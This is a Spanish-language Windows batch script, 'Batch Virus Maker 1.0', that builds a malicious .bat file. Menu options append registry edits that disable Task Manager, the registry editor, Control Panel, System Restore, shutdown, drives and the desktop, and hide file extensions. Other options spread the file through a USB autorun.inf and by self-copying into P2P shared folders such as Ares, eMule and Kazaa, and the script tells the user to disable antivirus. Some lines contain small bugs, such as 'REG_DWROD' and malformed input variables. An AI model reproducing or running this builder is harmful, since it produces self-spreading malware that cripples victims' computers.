VIRUS MAKER 1.0

Virus Maker 1.0

@echo off 
title Batch Virus Maker 1.0 
color 0A 
echo Escriba el nombre del Virus: 
@set /p name= 
@echo @echo off >> %name%.bat 
cls 
echo Guardado en el directorio actual con el nombre %name%.bat. 
echo Precione una Tecla Para Agregar Funcionjes a su Virus 
pause > nul 
cls 
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍ» 
echo º º 
echo º 1.Settings º 
echo º º 
echo ºÄÄÄÄÄÄÄÄÄÄÄĺ 
echo º º 
echo º 2.Exit º 
echo º º 
echo ÈÍÍÍÍÍÍÍÍÍÍÍͼ 
echo. 
set /p choose= 
if %choose% == 1 (goto Main) 
if %choose% == 2 (goto Salir) 
:Salir 
cls && exit 
:Main 
cls 
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» 
echo º º 
echo º Desabilitar; º 
echo º 1.Administrador de Tareas º 
echo º 2.Registro º 
echo º 3.Opciones de Carpeta º 
echo º 4.Ejecutar º 
echo º 5.Panel de Control º 
echo º 6.Apagado del Sistema º 
echo º 7.Modo Seguro º 
echo º 8.Restauracion del Sistema º 
echo º 9.Documentos Recientes º 
echo º 10.Desinstalacion de Programas º 
echo º 11.Reloj º 
echo º 12.Menu Contextual º 
echo º 13.Propiedades de Pantalla º 
echo º 14.Drives º 
echo º 15.Escritorio º 
echo º 16.Buscar º 
echo º 17.Extensiones de Archivos º 
echo º º 
echo º Propagar; º 
echo º 18.Por USB º 
echo º 19.Por P2P; º 
echo º -Ares º 
echo º -eMule º 
echo º -Kazaa º 
echo º -Grokster º 
echo º -Morpheus º 
echo º -EDONKEY2000 º 
echo º -Gnucleus º 
echo º º 
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ 
echo. 
set /p opcion= 
if %opcion% == 1 (goto 1) 
if %opcion% == 2 (goto 2) 
if %opcion% == 3 (goto 3) 
if %opcion% == 4 (goto 4) 
if %opcion% == 5 (goto 5) 
if %opcion% == 6 (goto 6) 
if %opcion% == 7 (goto 7) 
if %opcion% == 8 (goto 8) 
if %opcion% == 9 (goto 9) 
if %opcion% == 10 (goto 10) 
if %opcion% == 11 (goto 11) 
if %opcion% == 12 (goto 12) 
if %opcion% == 13 (goto 13) 
if %opcion% == 14 (goto 14) 
if %opcion% == 15 (goto 15) 
if %opcion% == 16 (goto 16) 
if %opcion% == 17 (goto 17) 
if %opcion% == 18 (goto 18) 
if %opcion% == 19 (goto 19) 
:1 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:2 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWROD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:3 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:4 
echo reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:5 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:6 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:7 
echo reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:8 
echo reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:9 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:10 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddRemovePrograms /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:11 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:12 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewContextMenu /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:13 
echo reg add "HKCU\Software\Microsoft\Windows\currentVersion\policies\System" /v NoDispCpl /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:14 
echo reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\My Computer" /v NoDrives /t REG_DWORD /d 3 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:15 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:16 
echo reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:17 
echo reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:18 
cls 
echo Para propagar el archivo es necesario crear un autorun. 
echo El autorun sera creado en el directorio actual pero 
echo desactive el anti-virus porque puede ser detectado y 
echo borrado por el mismo. 
echo. 
echo Para que la propagacion por USB sea mas efectiva se 
echo copiara el archivo %name%.bat adjunto con el autorun, 
echo si esto se hace no se podran agregar mas codigos al 
echo archivo %name%.bat. 
echo. 
echo Esta seguro que desea continuar?(S/N) 
set /p accion= 
if %accion% == S (goto USB) 
if %accion% == N (goto Main) 
:USB 
cls 
echo [Autorun] >> autorun.inf 
echo Open=%name%.bat >> autorun.inf 
echo UseAutoPlay=1 >> autorun.inf 
echo Action=Abrir carpeta para ver archivos >> autorun.inf 
echo Action= @%name%.bat >> autorun.inf 
echo Shell\Open=Abrir >> autorun.inf 
echo Shell\Open\Command=%name%.bat >> autorun.inf 
echo Shell\Open\Default=1 >> autorun.inf 
echo Shell\Explore=Explorar >> autorun.inf 
echo Shell\Explore\Command=%name%.bat >> autorun.inf 
copy /b %name%.bat+autorun.inf %name%.inf 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:19 
cls 
echo Eliga en que programa quiere que se propague el archivo %name%.bat; 
echo. 
echo IMPORTANTE: Si va a elegir a todos los clientes eligalos en ese 
echo orden porque sino pueden producirse errores. 
echo. 
echo -Ares 
echo -eMule 
echo -Kazaa 
echo -Grokster 
echo -Morpheus 
echo -EDONKEY2000 
echo -Gnucleus 
echo -BearShare 
set /p cliente= 
if %cliente% == Ares (goto P2P Ares) 
if %cliente% == eMule (goto P2P eMule) 
if %cliente% == Kazaa (goto P2P Kazaa) 
if %cliente% == Grokster (goto P2P Grokster) 
if %cliente% == Morpheus (goto P2P Morpheus) 
if %cliente% == EDONKEY2000 (goto P2P EDONKEY2000) 
if %cliente% == Gnucleus (goto P2P Gnucleus) 
if %cliente% == BearShare (goto P2P BearShare) 
:P2P Ares 
cls 
echo Escriba los nombres para propagarse: 
set /p %name1%= 
echo. 
set /p %name2%= 
echo. 
set /p %name3%= 
echo. 
set /p %name4%= 
echo. 
set /p %name5%= 
cls 
echo if exist "%userprofile%\AppData\Local\Ares\My Shared Folder" ( >> %name%.bat 
echo copy /v /y %%0 "%userprofile%\AppData\Local\Ares\My Shared Folder\%name1%.bat" >> %name%.bat 
echo copy /v /y %%0 "%userprofile%\AppData\Local\Ares\My Shared Folder\%name2%.bat" >> %name%.bat 
echo copy /v /y %%0 "%userprofile%\AppData\Local\Ares\My Shared Folder\%name3%.bat" >> %name%.bat 
echo copy /v /y %%0 "%userprofile%\AppData\Local\Ares\My Shared Folder\%name4%.bat" >> %name%.bat 
echo copy /v /y %%0 "%userprofile%\AppData\Local\Ares\My Shared Folder\%name5%.bat" >> %name%.bat 
echo ) else (goto Continuar) >> %name%.bat 
echo :Continuar >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P eMule 
cls 
echo Escriba los nombres para propagarse: 
set /p %name6%= 
echo. 
set /p %name7%= 
echo. 
set /p %name8%= 
echo. 
set /p %name9%= 
echo. 
set /p %name10%= 
cls 
echo if exist "%programfiles%\eMule\Incoming" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\eMule\Incoming\%name6%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\eMule\Incoming\%name7%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\eMule\Incoming\%name8%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\eMule\Incoming\%name9%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\eMule\Incoming\%name10%.bat" >> %name%.bat 
echo ) else (goto Continuar2) >> %name%.bat 
echo :Continuar2 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P Kazaa 
cls 
echo Escriba los nombres para propagarse: 
set /p %name11%= 
echo. 
set /p %name12%= 
echo. 
set /p %name13%= 
echo. 
set /p %name14%= 
echo. 
set /p %name15%= 
cls 
echo if exist "%programfiles%\Kazaa\My Shared Folder" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Kazaa\My Shared Folder\%name11%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Kazaa\My Shared Folder\%name12%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Kazaa\My Shared Folder\%name13%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Kazaa\My Shared Folder\%name14%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Kazaa\My Shared Folder\%name15%.bat" >> %name%.bat 
echo ) else (goto Continuar3) >> %name%.bat 
echo :Continuar3 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P Grokster 
cls 
echo Escriba los nombres para propagarse: 
set /p %name16%= 
echo. 
set /p %name17%= 
echo. 
set /p %name18%= 
echo. 
set /p %name19%= 
echo. 
set /p %name20%= 
cls 
echo if exist "%programfiles%\Grokster\My Grokster" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Grokster\My Grokster\%name16%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Grokster\My Grokster\%name17%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Grokster\My Grokster\%name18%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Grokster\My Grokster\%name19%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Grokster\My Grokster\%name20%.bat" >> %name%.bat 
echo ) else (goto Continuar4) >> %name%.bat 
echo :Continuar4 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P Morpheus 
cls 
echo Escriba los nombres para propagarse: 
set /p %name21%= 
echo. 
set /p %name22%= 
echo. 
set /p %name23%= 
echo. 
set /p %name24%= 
echo. 
set /p %name25%= 
cls 
echo if exist "%programfiles%\Morpheus\My Shared Folder" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Morpheus\My Shared Folder\%name21%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Morpheus\My Shared Folder\%name22%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Morpheus\My Shared Folder\%name23%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Morpheus\My Shared Folder\%name24%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Morpheus\My Shared Folder\%name25%.bat" >> %name%.bat 
echo ) else (goto Continuar5) >> %name%.bat 
echo :Continuar5 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P EDONKEY2000 
cls 
echo Escriba los nombres para propagarse: 
set /p %name26%= 
echo. 
set /p %name27%= 
echo. 
set /p %name28%= 
echo. 
set /p %name29%= 
echo. 
set /p %name30%= 
cls 
echo if exist "%programfiles%\EDONKEY2000\incoming" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\EDONKEY2000\incoming\%name26%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\EDONKEY2000\incoming\%name27%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\EDONKEY2000\incoming\%name28%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\EDONKEY2000\incoming\%name29%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\EDONKEY2000\incoming\%name30%.bat" >> %name%.bat 
echo ) else (goto Continuar6) >> %name%.bat 
echo :Continuar6 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P Gnucleus 
cls 
echo Escriba los nombres para propagarse: 
set /p %name31%= 
echo. 
set /p %name32%= 
echo. 
set /p %name33%= 
echo. 
set /p %name34%= 
echo. 
set /p %name35%= 
cls 
echo if exist "%programfiles%\Gnucleus\Downloads" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Gnucleus\Downloads\%name31%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Gnucleus\Downloads\%name32%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Gnucleus\Downloads\%name33%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Gnucleus\Downloads\%name34%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\Gnucleus\Downloads\%name35%.bat" >> %name%.bat 
echo ) else (goto Continuar7) >> %name%.bat 
echo :Continuar7 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main 
:P2P BearShare 
cls 
echo Escriba los nombres para propagarse: 
set /p %name36%= 
echo. 
set /p %name37%= 
echo. 
set /p %name38%= 
echo. 
set /p %name39%= 
echo. 
set /p %name40%= 
cls 
echo if exist "%programfiles%\BearShare\Shared" ( >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\BearShare\Shared\%name36%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\BearShare\Shared\%name37%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\BearShare\Shared\%name38%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\BearShare\Shared\%name39%.bat" >> %name%.bat 
echo copy /v /y %%0 "%programfiles%\BearShare\Shared\%name40%.bat" >> %name%.bat 
echo ) else (goto Continuar7) >> %name%.bat 
echo :Continuar7 >> %name%.bat 
cls && echo Codigo agregado correctamente. 
echo. 
pause 
goto Main